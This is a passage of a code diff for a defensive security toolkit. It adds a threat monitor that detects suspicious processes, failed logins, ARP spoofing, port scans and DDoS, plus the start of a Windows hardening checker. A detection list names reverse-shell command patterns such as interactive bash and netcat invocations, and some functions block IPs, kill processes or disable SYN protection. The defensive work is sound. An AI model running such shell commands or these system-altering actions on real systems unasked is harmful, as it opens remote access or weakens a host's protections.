f"Suspicious pattern: {pat}", + 'severity': 'HIGH', + }) + break + except json.JSONDecodeError: + pass + else: + success, output = self.run_cmd("ps aux --no-headers 2>/dev/null") + if success: + suspicious_cmds = ['nc -', 'ncat ', '/bin/sh -i', '/bin/bash -i', + 'python -c', 'perl -e', 'ruby -e'] + for line in output.split('\n'): + parts = line.split(None, 10) + if len(parts) >= 11: + cmdline = parts[10] + for pat in suspicious_cmds: + if pat in cmdline: + suspicious.append({ + 'pid': int(parts[1]) if parts[1].isdigit() else 0, + 'name': parts[10].split()[0] if parts[10] else '', + 'cmdline': cmdline[:200], + 'reason': f"Suspicious pattern: {pat}", + 'severity': 'HIGH', + }) + break + + return suspicious + + def get_recent_failed_logins(self, minutes=10): + """Get recent failed login attempts.""" + logins = [] + + if _is_win: + success, output = self.run_ps( + f"Get-WinEvent -FilterHashtable @{{LogName='Security'; Id=4625}} " + f"-MaxEvents 100 -ErrorAction SilentlyContinue | " + f"Where-Object {{ $_.TimeCreated -gt (Get-Date).AddMinutes(-{minutes}) }} | " + f"Select-Object TimeCreated, " + f"@{{N='IP';E={{$_.Properties[19].Value}}}}, " + f"@{{N='User';E={{$_.Properties[5].Value}}}} | " + f"ConvertTo-Json" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for entry in data: + logins.append({ + 'time': str(entry.get('TimeCreated', '')), + 'ip': entry.get('IP', 'Unknown'), + 'user': entry.get('User', 'Unknown'), + }) + except json.JSONDecodeError: + pass + else: + success, output = self.run_cmd( + f"grep 'Failed password' /var/log/auth.log 2>/dev/null | tail -50" + ) + if success: + for line in output.split('\n'): + if not line.strip(): + continue + ip_match = re.search(r'from\s+(\S+)', line) + user_match = re.search(r'for\s+(?:invalid\s+user\s+)?(\S+)', line) + time_match = re.match(r'^(\w+\s+\d+\s+[\d:]+)', line) + logins.append({ + 'time': time_match.group(1) if time_match else '', + 'ip': ip_match.group(1) if ip_match else 'Unknown', + 'user': user_match.group(1) if user_match else 'Unknown', + }) + + return logins + + def get_dns_cache(self): + """Get DNS cache entries.""" + entries = [] + + if _is_win: + success, output = self.run_ps( + "Get-DnsClientCache -ErrorAction SilentlyContinue | " + "Select-Object Entry, RecordName, Data, Type, TimeToLive | " + "ConvertTo-Json -Depth 2" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for e in data[:50]: + entries.append({ + 'name': e.get('Entry') or e.get('RecordName', ''), + 'data': e.get('Data', ''), + 'type': e.get('Type', ''), + 'ttl': e.get('TimeToLive', 0), + }) + except json.JSONDecodeError: + pass + else: + # Check systemd-resolved + success, output = self.run_cmd("resolvectl statistics 2>/dev/null") + if success: + entries.append({'name': 'systemd-resolved', 'data': output[:200], 'type': 'stats', 'ttl': 0}) + + return entries + + # ==================== BANDWIDTH ==================== + + def get_bandwidth(self): + """Get bytes in/out per network interface with deltas.""" + interfaces = [] + + if _is_win: + success, output = self.run_ps( + "Get-NetAdapterStatistics -ErrorAction SilentlyContinue | " + "Select-Object Name, ReceivedBytes, SentBytes | ConvertTo-Json" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for iface in data: + name = iface.get('Name', '') + rx = iface.get('ReceivedBytes', 0) + tx = iface.get('SentBytes', 0) + prev = self._prev_bandwidth.get(name, {}) + interfaces.append({ + 'interface': name, + 'rx_bytes': rx, 'tx_bytes': tx, + 'rx_delta': max(0, rx - prev.get('rx', rx)), + 'tx_delta': max(0, tx - prev.get('tx', tx)), + }) + self._prev_bandwidth[name] = {'rx': rx, 'tx': tx} + except json.JSONDecodeError: + pass + else: + try: + with open('/proc/net/dev', 'r') as f: + for line in f: + if ':' not in line: + continue + name, stats = line.split(':', 1) + name = name.strip() + parts = stats.split() + if len(parts) >= 10: + rx = int(parts[0]) + tx = int(parts[8]) + prev = self._prev_bandwidth.get(name, {}) + interfaces.append({ + 'interface': name, + 'rx_bytes': rx, 'tx_bytes': tx, + 'rx_delta': max(0, rx - prev.get('rx', rx)), + 'tx_delta': max(0, tx - prev.get('tx', tx)), + }) + self._prev_bandwidth[name] = {'rx': rx, 'tx': tx} + except Exception: + pass + + return interfaces + + # ==================== ARP SPOOF DETECTION ==================== + + def check_arp_spoofing(self): + """Detect ARP spoofing — multiple MACs for same IP.""" + alerts = [] + + if _is_win: + success, output = self.run_cmd("arp -a") + else: + success, output = self.run_cmd("ip neigh show 2>/dev/null || arp -an 2>/dev/null") + + if not success: + return alerts + + ip_macs = defaultdict(set) + for line in output.split('\n'): + # Match IP and MAC patterns + ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', line) + mac_match = re.search(r'([0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}', line) + if ip_match and mac_match: + ip = ip_match.group(1) + mac = mac_match.group(0).lower() + if ip not in ('255.255.255.255',) and not ip.startswith('224.'): + ip_macs[ip].add(mac) + + # Merge into cache for history tracking + for ip, macs in ip_macs.items(): + self._arp_table_cache.setdefault(ip, set()).update(macs) + + # Check for IPs with multiple MACs + for ip, macs in self._arp_table_cache.items(): + if len(macs) > 1: + alerts.append({ + 'ip': ip, + 'macs': list(macs), + 'severity': 'CRITICAL', + 'detail': f"{ip} has {len(macs)} different MAC addresses", + }) + + return alerts + + # ==================== NEW LISTENING PORTS ==================== + + def check_new_listening_ports(self): + """Detect new listening ports since last check.""" + current_ports = {} + + if _is_win: + success, output = self.run_ps( + "Get-NetTCPConnection -State Listen -ErrorAction SilentlyContinue | " + "Select-Object LocalPort, OwningProcess | ConvertTo-Json" + ) + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for entry in data: + port = entry.get('LocalPort', 0) + pid = entry.get('OwningProcess', 0) + current_ports[port] = {'port': port, 'pid': pid, 'process': self._get_process_name_win(pid)} + except json.JSONDecodeError: + pass + else: + success, output = self.run_cmd("ss -tlnp 2>/dev/null") + if success: + for line in output.split('\n')[1:]: + parts = line.split() + if len(parts) >= 4: + local = parts[3] + port_match = re.search(r':(\d+)$', local) + if port_match: + port = int(port_match.group(1)) + pid_match = re.search(r'pid=(\d+)', line) + proc_match = re.search(r'"([^"]+)"', line) + current_ports[port] = { + 'port': port, + 'pid': int(pid_match.group(1)) if pid_match else 0, + 'process': proc_match.group(1) if proc_match else '', + } + + current_set = set(current_ports.keys()) + + if not self._prev_listening_initialized: + self._prev_listening_ports = current_set + self._prev_listening_initialized = True + return [] + + new_ports = current_set - self._prev_listening_ports + self._prev_listening_ports = current_set + + return [current_ports[p] for p in new_ports if p in current_ports] + + # ==================== GEOIP ==================== + + def geoip_lookup(self, ip): + """GeoIP lookup via ipwho.is (free, no API key).""" + # Skip private IPs + if ip.startswith(('127.', '10.', '192.168.', '0.0.0.', '::')) or ip == '::1': + return None + if re.match(r'^172\.(1[6-9]|2\d|3[01])\.', ip): + return None + + # Check cache + if ip in self._geoip_cache: + return self._geoip_cache[ip] + + try: + req = urllib.request.Request(f'https://ipwho.is/{ip}', + headers={'User-Agent': 'AUTARCH/2.0'}) + with urllib.request.urlopen(req, timeout=5) as resp: + data = json.loads(resp.read().decode()) + if data.get('success'): + result = { + 'ip': ip, + 'country': data.get('country', ''), + 'country_code': data.get('country_code', ''), + 'city': data.get('city', ''), + 'isp': data.get('connection', {}).get('isp', ''), + 'org': data.get('connection', {}).get('org', ''), + 'asn': data.get('connection', {}).get('asn', 0), + } + self._geoip_cache[ip] = result + return result + except Exception: + pass + return None + + def get_connections_with_geoip(self): + """Get connections enriched with GeoIP data.""" + connections = self.get_connections() + for conn in connections: + remote = conn.get('remote_addr', '') + if remote and remote not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + geo = self.geoip_lookup(remote) + conn['geo'] = geo + return connections + + # ==================== CONNECTION RATE ==================== + + def get_connection_rate(self): + """Track connections per second with trending.""" + now = time.time() + count = len(self.get_connections()) + self._connection_rate_history.append((now, count)) + + # Trim to last 5 minutes + cutoff = now - 300 + self._connection_rate_history = [(t, c) for t, c in self._connection_rate_history if t > cutoff] + + history = self._connection_rate_history + current_rate = count + + # 1-minute average + one_min = [c for t, c in history if t > now - 60] + avg_1m = sum(one_min) / max(len(one_min), 1) + + # 5-minute average + avg_5m = sum(c for _, c in history) / max(len(history), 1) + + # Peak + peak = max((c for _, c in history), default=0) + + return { + 'current_rate': current_rate, + 'avg_rate_1m': round(avg_1m, 1), + 'avg_rate_5m': round(avg_5m, 1), + 'peak_rate': peak, + } + + # ==================== DDOS DETECTION ==================== + + def detect_ddos(self): + """Detect DDoS/DoS attack patterns.""" + connections = self.get_connections() + indicators = [] + attack_type = 'none' + under_attack = False + + # Group by remote IP + ip_conns = defaultdict(list) + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_conns[rip].append(c) + + # SYN flood: many SYN_RECV/TimeWait connections + syn_count = sum(1 for c in connections + if 'SYN' in str(c.get('state', '')).upper() + or 'TimeWait' in str(c.get('state', ''))) + if syn_count > 50: + under_attack = True + attack_type = 'syn_flood' + indicators.append(f"{syn_count} SYN/half-open connections detected") + + # Connection flood: single IP with many connections + for ip, conns in ip_conns.items(): + if len(conns) > 50: + under_attack = True + if attack_type == 'none': + attack_type = 'connection_flood' + indicators.append(f"{ip}: {len(conns)} connections") + + # Bandwidth spike + bw = self.get_bandwidth() + for iface in bw: + rx_mbps = iface.get('rx_delta', 0) / 1_000_000 + if rx_mbps > 100: + under_attack = True + if attack_type == 'none': + attack_type = 'bandwidth_spike' + indicators.append(f"{iface['interface']}: {rx_mbps:.1f} MB/s inbound") + + # Top talkers + top_talkers = sorted( + [{'ip': ip, 'connections': len(conns)} for ip, conns in ip_conns.items()], + key=lambda x: x['connections'], reverse=True + )[:10] + + return { + 'under_attack': under_attack, + 'attack_type': attack_type, + 'severity': 'CRITICAL' if under_attack else 'LOW', + 'indicators': indicators, + 'top_talkers': top_talkers, + 'total_connections': len(connections), + 'syn_count': syn_count, + } + + def get_top_talkers(self, limit=20): + """Get top source IPs by connection count.""" + connections = self.get_connections() + ip_stats = defaultdict(lambda: {'count': 0, 'states': defaultdict(int)}) + + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_stats[rip]['count'] += 1 + state = c.get('state', 'Unknown') + ip_stats[rip]['states'][state] += 1 + + total = len(connections) or 1 + result = [] + for ip, stats in sorted(ip_stats.items(), key=lambda x: x[1]['count'], reverse=True)[:limit]: + result.append({ + 'ip': ip, + 'connections': stats['count'], + 'percent': round(stats['count'] / total * 100, 1), + 'state_breakdown': dict(stats['states']), + }) + + return result + + # ==================== RATE LIMITING ==================== + + def apply_rate_limit(self, ip, rate='25/min'): + """Apply rate limit for a specific IP.""" + if _is_win: + # Windows doesn't support rate limiting natively in netsh + # Use a block rule as fallback with a note + rule_name = f"AUTARCH_RateLimit_{ip}" + success, output = self.run_cmd( + f'netsh advfirewall firewall add rule name="{rule_name}" ' + f'dir=in action=block remoteip={ip}' + ) + msg = f"Rate limit applied for {ip} (Windows: block rule)" if success else f"Failed to rate-limit {ip}" + else: + # Linux iptables rate limiting + success1, _ = self.run_cmd( + f"sudo iptables -A INPUT -s {ip} -m limit --limit {rate} --limit-burst 10 -j ACCEPT" + ) + success2, _ = self.run_cmd( + f"sudo iptables -A INPUT -s {ip} -j DROP" + ) + success = success1 and success2 + msg = f"Rate limit {rate} applied for {ip}" if success else f"Failed to rate-limit {ip}" + + if success: + self.log_mitigation('rate_limit', ip, f'Rate limit: {rate}') + return success, msg + + def remove_rate_limit(self, ip): + """Remove rate limit rules for an IP.""" + if _is_win: + rule_name = f"AUTARCH_RateLimit_{ip}" + success, _ = self.run_cmd(f'netsh advfirewall firewall delete rule name="{rule_name}"') + else: + self.run_cmd(f"sudo iptables -D INPUT -s {ip} -m limit --limit 25/min --limit-burst 10 -j ACCEPT") + success, _ = self.run_cmd(f"sudo iptables -D INPUT -s {ip} -j DROP") + return success, f"Rate limit removed for {ip}" if success else f"Failed to remove rate limit for {ip}" + + # ==================== SYN PROTECTION ==================== + + def get_syn_protection_status(self): + """Check SYN flood protection status.""" + if _is_win: + success, output = self.run_cmd( + 'reg query "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters" ' + '/v SynAttackProtect 2>nul' + ) + enabled = '0x1' in output if success else False + return {'enabled': enabled, 'platform': 'windows'} + else: + success, output = self.run_cmd("cat /proc/sys/net/ipv4/tcp_syncookies 2>/dev/null") + return {'enabled': output.strip() == '1' if success else False, 'platform': 'linux'} + + def enable_syn_protection(self): + """Enable SYN flood protection.""" + if _is_win: + success, _ = self.run_cmd( + 'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters" ' + '/v SynAttackProtect /t REG_DWORD /d 1 /f' + ) + else: + success, _ = self.run_cmd("sudo sysctl -w net.ipv4.tcp_syncookies=1") + if success: + self.log_mitigation('syn_protection', 'system', 'Enabled SYN protection') + return success, "SYN protection enabled" if success else "Failed to enable SYN protection" + + def disable_syn_protection(self): + """Disable SYN flood protection.""" + if _is_win: + success, _ = self.run_cmd( + 'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters" ' + '/v SynAttackProtect /t REG_DWORD /d 0 /f' + ) + else: + success, _ = self.run_cmd("sudo sysctl -w net.ipv4.tcp_syncookies=0") + return success, "SYN protection disabled" if success else "Failed to disable SYN protection" + + # ==================== DDOS CONFIG ==================== + + def get_ddos_config(self): + """Get DDoS auto-mitigation configuration.""" + if self._ddos_config_path.exists(): + try: + return json.loads(self._ddos_config_path.read_text()) + except json.JSONDecodeError: + pass + return { + 'enabled': False, + 'connection_threshold': 100, + 'syn_threshold': 50, + 'auto_block_top_talkers': True, + 'auto_enable_syn_cookies': True, + } + + def save_ddos_config(self, config): + """Save DDoS auto-mitigation configuration.""" + config['updated'] = datetime.now().isoformat() + self._data_dir.mkdir(parents=True, exist_ok=True) + self._ddos_config_path.write_text(json.dumps(config, indent=2)) + return config + + def auto_mitigate(self): + """Run auto-mitigation based on DDoS detection.""" + config = self.get_ddos_config() + if not config.get('enabled'): + return {'actions': [], 'message': 'Auto-mitigation is disabled'} + + actions = [] + ddos = self.detect_ddos() + + if not ddos['under_attack']: + return {'actions': [], 'message': 'No attack detected'} + + # Auto-block top talkers + if config.get('auto_block_top_talkers'): + threshold = config.get('connection_threshold', 100) + for talker in ddos.get('top_talkers', []): + if talker['connections'] > threshold: + ip = talker['ip'] + success, msg = self.auto_block_ip(ip) + actions.append({'action': 'block_ip', 'target': ip, 'success': success, 'message': msg}) + + # Auto-enable SYN cookies + if config.get('auto_enable_syn_cookies') and ddos.get('syn_count', 0) > config.get('syn_threshold', 50): + status = self.get_syn_protection_status() + if not status.get('enabled'): + success, msg = self.enable_syn_protection() + actions.append({'action': 'enable_syn_protection', 'target': 'system', 'success': success, 'message': msg}) + + return {'actions': actions, 'attack_type': ddos['attack_type']} + + # ==================== MITIGATION HISTORY ==================== + + def get_mitigation_history(self): + """Get log of all mitigation actions.""" + if self._mitigation_log_path.exists(): + try: + return json.loads(self._mitigation_log_path.read_text()) + except json.JSONDecodeError: + pass + return [] + + def log_mitigation(self, action, target, reason, auto=False): + """Log a mitigation action.""" + history = self.get_mitigation_history() + history.append({ + 'timestamp': datetime.now().isoformat(), + 'action': action, + 'target': target, + 'reason': reason, + 'auto': auto, + }) + # Keep last 500 + history = history[-500:] + self._data_dir.mkdir(parents=True, exist_ok=True) + self._mitigation_log_path.write_text(json.dumps(history, indent=2)) + + def clear_mitigation_history(self): + """Clear mitigation history.""" + if self._mitigation_log_path.exists(): + self._mitigation_log_path.write_text('[]') + + # ==================== THREAT SCORE (ENHANCED) ==================== + + def calculate_threat_score(self): + """Calculate composite threat score (0-100). Higher = more threats.""" + score = 0 + details = [] + + # Port scan indicators + scans = self.check_port_scan_indicators() + if scans: + score += min(len(scans) * 15, 30) + details.append(f"{len(scans)} port scan indicator(s)") + + # Suspicious processes + sus_procs = self.get_suspicious_processes() + if sus_procs: + score += min(len(sus_procs) * 20, 40) + details.append(f"{len(sus_procs)} suspicious process(es)") + + # Failed logins + failed = self.get_recent_failed_logins(minutes=5) + if len(failed) > 5: + score += min(len(failed) * 2, 20) + details.append(f"{len(failed)} failed logins in 5 min") + + # Active connections from blocklist + blocklist = self.get_blocklist() + connections = self.get_connections() + blocked_active = [c for c in connections if c.get('remote_addr') in blocklist] + if blocked_active: + score += min(len(blocked_active) * 10, 30) + details.append(f"{len(blocked_active)} active connection(s) from blocklisted IPs") + + # ARP spoofing + arp_alerts = self.check_arp_spoofing() + if arp_alerts: + score += min(len(arp_alerts) * 20, 30) + details.append(f"{len(arp_alerts)} ARP spoof alert(s)") + + # New listening ports + new_ports = self.check_new_listening_ports() + if new_ports: + score += min(len(new_ports) * 10, 20) + details.append(f"{len(new_ports)} new listening port(s)") + + # DDoS + ddos = self.detect_ddos() + if ddos.get('under_attack'): + score += 30 + details.append(f"DDoS detected: {ddos.get('attack_type', 'unknown')}") + + return { + 'score': min(score, 100), + 'level': 'CRITICAL' if score >= 70 else 'HIGH' if score >= 40 else 'MEDIUM' if score >= 15 else 'LOW', + 'details': details, + } + + # ==================== COUNTER-ATTACK ==================== + + def auto_block_ip(self, ip): + """Block an IP address using platform-appropriate firewall.""" + if _is_win: + rule_name = f"AUTARCH_Block_{ip}" + success, output = self.run_cmd( + f'netsh advfirewall firewall add rule name="{rule_name}" ' + f'dir=in action=block remoteip={ip}' + ) + else: + success, output = self.run_cmd(f"sudo iptables -A INPUT -s {ip} -j DROP") + + if success: + self.add_to_blocklist(ip) + return success, f"Blocked {ip}" if success else f"Failed to block {ip}" + + def kill_process(self, pid): + """Kill a process by PID.""" + pid = int(pid) + if _is_win: + success, output = self.run_cmd(f"taskkill /F /PID {pid}") + else: + success, output = self.run_cmd(f"kill -9 {pid}") + return success, f"Killed PID {pid}" if success else f"Failed to kill PID {pid}" + + def block_port(self, port, direction='in'): + """Block a port using platform-appropriate firewall.""" + port = int(port) + if _is_win: + rule_name = f"AUTARCH_BlockPort_{port}_{direction}" + success, output = self.run_cmd( + f'netsh advfirewall firewall add rule name="{rule_name}" ' + f'dir={direction} action=block protocol=tcp localport={port}' + ) + else: + chain = 'INPUT' if direction == 'in' else 'OUTPUT' + success, output = self.run_cmd( + f"sudo iptables -A {chain} -p tcp --dport {port} -j DROP" + ) + return success, f"Blocked port {port} ({direction})" if success else f"Failed to block port {port}" + + # ==================== BLOCKLIST ==================== + + def get_blocklist(self): + """Get persistent IP blocklist.""" + if self._blocklist_path.exists(): + try: + data = json.loads(self._blocklist_path.read_text()) + return data.get('blocked_ips', []) + except (json.JSONDecodeError, KeyError): + pass + return [] + + def add_to_blocklist(self, ip): + """Add IP to persistent blocklist.""" + blocklist = self.get_blocklist() + if ip not in blocklist: + blocklist.append(ip) + self._blocklist_path.parent.mkdir(parents=True, exist_ok=True) + self._blocklist_path.write_text(json.dumps({ + 'blocked_ips': blocklist, + 'updated': datetime.now().isoformat(), + }, indent=2)) + return blocklist + + def remove_from_blocklist(self, ip): + """Remove IP from persistent blocklist.""" + blocklist = self.get_blocklist() + if ip in blocklist: + blocklist.remove(ip) + self._blocklist_path.write_text(json.dumps({ + 'blocked_ips': blocklist, + 'updated': datetime.now().isoformat(), + }, indent=2)) + return blocklist + + def generate_threat_report(self): + """Generate comprehensive threat report.""" + return { + 'timestamp': datetime.now().isoformat(), + 'threat_score': self.calculate_threat_score(), + 'scan_indicators': self.check_port_scan_indicators(), + 'suspicious_processes': self.get_suspicious_processes(), + 'recent_failed_logins': self.get_recent_failed_logins(minutes=10), + 'blocklist': self.get_blocklist(), + 'connection_count': len(self.get_connections()), + } + + # ==================== SSE STREAM ==================== + + def monitor_stream(self): + """Generator for SSE streaming — yields threat data every 3 seconds.""" + # Immediate heartbeat so the browser knows the connection is live + yield f"data: {json.dumps({'type': 'heartbeat', 'timestamp': datetime.now().isoformat()})}\n\n" + + while True: + try: + # Fetch shared data ONCE per iteration to avoid redundant subprocess calls + connections = self.get_connections() + bw = self.get_bandwidth() + arp = self.check_arp_spoofing() + new_ports = self.check_new_listening_ports() + + # DDoS detection uses connections + bandwidth (pass cached data) + ddos = self._detect_ddos_cached(connections, bw) + + # Threat score using cached data + threat_score = self._calculate_threat_score_cached(connections, bw, arp, new_ports, ddos) + + # Connection rate tracking + now = time.time() + self._connection_rate_history.append((now, len(connections))) + cutoff = now - 300 + self._connection_rate_history = [(t, c) for t, c in self._connection_rate_history if t > cutoff] + history = self._connection_rate_history + one_min = [c for t, c in history if t > now - 60] + avg_1m = sum(one_min) / max(len(one_min), 1) + avg_5m = sum(c for _, c in history) / max(len(history), 1) + peak = max((c for _, c in history), default=0) + + total_rx = sum(i.get('rx_delta', 0) for i in bw) + total_tx = sum(i.get('tx_delta', 0) for i in bw) + + data = { + 'timestamp': datetime.now().isoformat(), + 'threat_score': threat_score, + 'connection_count': len(connections), + 'failed_logins': 0, # Expensive — fetched on-demand via Threats tab + 'suspicious_processes': 0, # Expensive — fetched on-demand via Threats tab + 'scan_indicators': 0, + 'bandwidth': { + 'rx_delta': total_rx, 'tx_delta': total_tx, + 'rx_mbps': round(total_rx / 1_000_000, 2), + 'tx_mbps': round(total_tx / 1_000_000, 2), + }, + 'arp_alerts': len(arp), + 'new_ports': len(new_ports), + 'connection_rate': { + 'current_rate': len(connections), + 'avg_rate_1m': round(avg_1m, 1), + 'avg_rate_5m': round(avg_5m, 1), + 'peak_rate': peak, + }, + 'ddos': { + 'under_attack': ddos['under_attack'], + 'attack_type': ddos['attack_type'], + 'syn_count': ddos['syn_count'], + }, + } + + if new_ports: + data['new_port_details'] = [{'port': p['port'], 'process': p.get('process', '')} for p in new_ports] + + # Scan indicators from cached connections (no extra subprocess call) + ip_connections = {} + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_connections.setdefault(rip, []).append(c) + scan_count = sum(1 for ip, conns in ip_connections.items() + if len(set(c['local_port'] for c in conns)) > 10) + data['scan_indicators'] = scan_count + + yield f"data: {json.dumps(data)}\n\n" + time.sleep(3) + except GeneratorExit: + break + except Exception: + time.sleep(3) + + def _detect_ddos_cached(self, connections, bw): + """DDoS detection using pre-fetched connections and bandwidth data.""" + indicators = [] + attack_type = 'none' + under_attack = False + + ip_conns = defaultdict(list) + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_conns[rip].append(c) + + syn_count = sum(1 for c in connections + if 'SYN' in str(c.get('state', '')).upper() + or 'TimeWait' in str(c.get('state', ''))) + if syn_count > 50: + under_attack = True + attack_type = 'syn_flood' + indicators.append(f"{syn_count} SYN/half-open connections detected") + + for ip, conns in ip_conns.items(): + if len(conns) > 50: + under_attack = True + if attack_type == 'none': + attack_type = 'connection_flood' + indicators.append(f"{ip}: {len(conns)} connections") + + for iface in bw: + rx_mbps = iface.get('rx_delta', 0) / 1_000_000 + if rx_mbps > 100: + under_attack = True + if attack_type == 'none': + attack_type = 'bandwidth_spike' + indicators.append(f"{iface['interface']}: {rx_mbps:.1f} MB/s inbound") + + return { + 'under_attack': under_attack, + 'attack_type': attack_type, + 'severity': 'CRITICAL' if under_attack else 'LOW', + 'indicators': indicators, + 'total_connections': len(connections), + 'syn_count': syn_count, + } + + def _calculate_threat_score_cached(self, connections, bw, arp, new_ports, ddos): + """Lightweight threat score using pre-fetched data (no extra subprocess calls).""" + score = 0 + details = [] + + # Port scan indicators from cached connections + ip_connections = {} + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_connections.setdefault(rip, []).append(c) + scans = sum(1 for ip, conns in ip_connections.items() + if len(set(c['local_port'] for c in conns)) > 10) + if scans: + score += min(scans * 15, 30) + details.append(f"{scans} port scan indicator(s)") + + # Active connections from blocklist + blocklist = self.get_blocklist() + blocked_active = [c for c in connections if c.get('remote_addr') in blocklist] + if blocked_active: + score += min(len(blocked_active) * 10, 30) + details.append(f"{len(blocked_active)} active connection(s) from blocklisted IPs") + + # ARP spoofing + if arp: + score += min(len(arp) * 20, 30) + details.append(f"{len(arp)} ARP spoof alert(s)") + + # New listening ports + if new_ports: + score += min(len(new_ports) * 10, 20) + details.append(f"{len(new_ports)} new listening port(s)") + + # DDoS + if ddos.get('under_attack'): + score += 30 + details.append(f"DDoS detected: {ddos.get('attack_type', 'unknown')}") + + return { + 'score': min(score, 100), + 'level': 'CRITICAL' if score >= 70 else 'HIGH' if score >= 40 else 'MEDIUM' if score >= 15 else 'LOW', + 'details': details, + } + + +# ==================== CLI MENU ==================== + +def run(): + """CLI entry point.""" + from core.banner import Colors, clear_screen, display_banner + clear_screen() + display_banner() + print(f"\n{Colors.BOLD}{Colors.PURPLE}Threat Monitor{Colors.RESET}\n") + + m = ThreatMonitor() + report = m.generate_threat_report() + + score = report['threat_score'] + color = Colors.RED if score['score'] >= 40 else Colors.YELLOW if score['score'] >= 15 else Colors.GREEN + print(f"{color}Threat Score: {score['score']}/100 ({score['level']}){Colors.RESET}") + if score['details']: + for d in score['details']: + print(f" - {d}") + + print(f"\n{Colors.CYAN}Active connections: {report['connection_count']}{Colors.RESET}") + print(f"{Colors.CYAN}Failed logins (10m): {len(report['recent_failed_logins'])}{Colors.RESET}") + print(f"{Colors.CYAN}Suspicious processes: {len(report['suspicious_processes'])}{Colors.RESET}") + print(f"{Colors.CYAN}Scan indicators: {len(report['scan_indicators'])}{Colors.RESET}") + print(f"{Colors.CYAN}Blocklisted IPs: {len(report['blocklist'])}{Colors.RESET}") + + if report['suspicious_processes']: + print(f"\n{Colors.RED}Suspicious Processes:{Colors.RESET}") + for p in report['suspicious_processes']: + print(f" PID {p['pid']} — {p['name']}: {p['reason']}") + + if report['scan_indicators']: + print(f"\n{Colors.RED}Port Scan Indicators:{Colors.RESET}") + for s in report['scan_indicators']: + print(f" {s['ip']}: {s['detail']}") + + input("\nPress Enter to continue...") + + +# ==================== SINGLETON ==================== + +_threat_monitor_instance = None + + +def get_threat_monitor(): + """Get or create singleton ThreatMonitor instance (preserves in-memory state).""" + global _threat_monitor_instance + if _threat_monitor_instance is None: + _threat_monitor_instance = ThreatMonitor() + return _threat_monitor_instance diff --git a/modules/defender_windows.py b/modules/defender_windows.py new file mode 100644 index 0000000..5aca8b7 --- /dev/null +++ b/modules/defender_windows.py @@ -0,0 +1,372 @@ +""" +AUTARCH Windows Defender Module +Windows-native security posture assessment + +Checks Windows system configuration for security best practices. +""" + +import os +import sys +import subprocess +import re +import json +from pathlib import Path +from datetime import datetime + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +# Module metadata +DESCRIPTION = "Windows system hardening & security checks" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + + +class WindowsDefender: + """Windows security checker.""" + + def __init__(self): + self.results = [] + + def check(self, name: str, passed: bool, details: str = ""): + """Record a check result.""" + self.results.append({"name": name, "passed": passed, "details": details}) + + def run_cmd(self, cmd: str, timeout=15) -> tuple: + """Run command and return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, + text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except Exception: + return False, "" + + def run_ps(self, ps_command: str, timeout=15) -> tuple: + """Run a PowerShell command and return (success, output).""" + cmd = f'powershell -NoProfile -ExecutionPolicy Bypass -Command "{ps_command}"' + return self.run_cmd(cmd, timeout=timeout) + + # ==================== SECURITY CHECKS ==================== + + def check_firewall(self): + """Check Windows Firewall status for all profiles.""" + success, output = self.run_cmd("netsh advfirewall show allprofiles state") + if success: + profiles_on = output.lower().count("on") + profiles_off = output.lower().count("off") + if profiles_off > 0: + self.check("Windows Firewall", False, + f"{profiles_off} profile(s) disabled") + else: + self.check("Windows Firewall", True, + f"All {profiles_on} profiles enabled") + else: + self.check("Windows Firewall", False, "Could not query firewall state") + + def check_ssh_config(self): + """Check Windows OpenSSH configuration.""" + success, output = self.run_ps( + "Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*' " + "| Select-Object -ExpandProperty State" + ) + if not success or "Installed" not in output: + self.check("SSH Config", True, "OpenSSH Server not installed (good)") + return + + sshd_config = Path(os.environ.get('ProgramData', 'C:\\ProgramData')) / 'ssh' / 'sshd_config' + if not sshd_config.exists(): + self.check("SSH Config", False, "OpenSSH installed but sshd_config not found") + return + + content = sshd_config.read_text(errors='ignore') + + if "PermitRootLogin no" in content or "PermitRootLogin prohibit-password" in content: + self.check("SSH Root Login Disabled", True) + else: + self.check("SSH Root Login Disabled", False, "Root login may be enabled") + + if "PasswordAuthentication no" in content: + self.check("SSH Password Auth Disabled", True) + else: + self.check("SSH Password Auth Disabled", False, + "Consider using key-based auth only") + + def check_open_ports(self): + """Check for high-risk listening ports on Windows.""" + success, output = self.run_ps( + "Get-NetTCPConnection -State Listen -ErrorAction SilentlyContinue " + "| Select-Object LocalPort, OwningProcess | Format-Table -AutoSize" + ) + if not success: + success, output = self.run_cmd("netstat -ano | findstr LISTENING") + + if success: + high_risk = [] + if ':23 ' in output or '\t23\t' in output: + high_risk.append("23 (Telnet)") + if ':21 ' in output or '\t21\t' in output: + high_risk.append("21 (FTP)") + if ':3389 ' in output or '\t3389\t' in output: + high_risk.append("3389 (RDP)") + if ':445 ' in output or '\t445\t' in output: + high_risk.append("445 (SMB)") + if ':135 ' in output or '\t135\t' in output: + high_risk.append("135 (RPC)") + + lines = [l for l in output.split('\n') if l.strip()] + if high_risk: + self.check("High-Risk 